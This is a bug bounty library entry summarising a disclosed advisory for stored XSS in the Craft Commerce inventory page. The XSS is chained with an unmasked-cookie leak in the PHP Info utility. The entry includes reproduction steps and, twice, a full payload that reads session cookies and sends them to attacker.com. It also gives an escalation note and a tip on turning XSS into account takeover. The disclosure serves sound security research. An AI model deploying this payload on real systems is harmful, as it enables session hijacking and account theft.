# Craft Commerce has multiple Stored XSS in Commerce Inventory Page, Leading to Session Hijacking

Stored XSS in Craft Commerce Inventory via unescaped Product/Variant Title and SKU fields; payload reads unmasked cookies from the PHP Info utility to hijack sessions.

- Payout: Research
- Severity: high
- Program: Craft Commerce
- Found by: mHe4am
- Disclosed: 2026-03-10
- CVE: CVE-2026-29175
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-cfpv-rmpf-f624
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-cfpv-rmpf-f624
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:php technique:chained vuln:info-disclosure vuln:xss

**Target:** Craft CMS control panel Commerce Inventory page (/admin/commerce/inventory) and PHP Info utility
**Root cause:** Product Title, Variant Title and Variant SKU are rendered into the inventory template without HTML escaping, so stored markup executes in the admin context. The PHP Info utility additionally prints raw cookie values unmasked.
**Steps:**
1. Log in to the control panel with permission to access Craft Commerce and create/edit products
2. Navigate to Commerce → Products and add a product
3. Set the Title field to `<img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\/th>\s*<td[^>]*>([\s\S]*?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})">`
4. Save the product
5. Navigate to Commerce → Inventory (`/admin/commerce/inventory`) to trigger execution
6. Payload fetches `/admin/utilities/php-info`, regex-extracts the `Cookie` row, base64-encodes and exfiltrates it to the attacker server
7. Repeat with Variant Title or Variant SKU fields for the same effect
**How found:** Reporter noticed inventory template renders product/variant fields unescaped, and that the PHP Info utility exposes raw cookie values (only some secrets masked), combining the two into a session-theft chain.
**Exploitation:** Attacker with product-edit rights stores the payload in a product field; any user viewing the inventory page executes it, the script reads the unmasked cookie from the PHP Info page in the victim's authenticated context and beacons it out, giving the attacker the victim's session without extra interaction.
**Escalation:** Hijacked admin session can be used for full database exfiltration; CSRF token is masked in PHP Info but recoverable from HTTP_COOKIE/other rows.
**Insight:** When a target has a debug/diagnostic utility (phpinfo, env dump) reachable by authenticated users, check whether it leaks raw cookies/headers — an otherwise low-impact stored XSS becomes instant ATO because the payload can read secrets the app forgot to mask.

## Proof of concept (copied exactly from the original report)

**Stored XSS payload in Product Title**

```
<img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\/th>\s*<td[^>]*>([\s\S]*?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})">
```

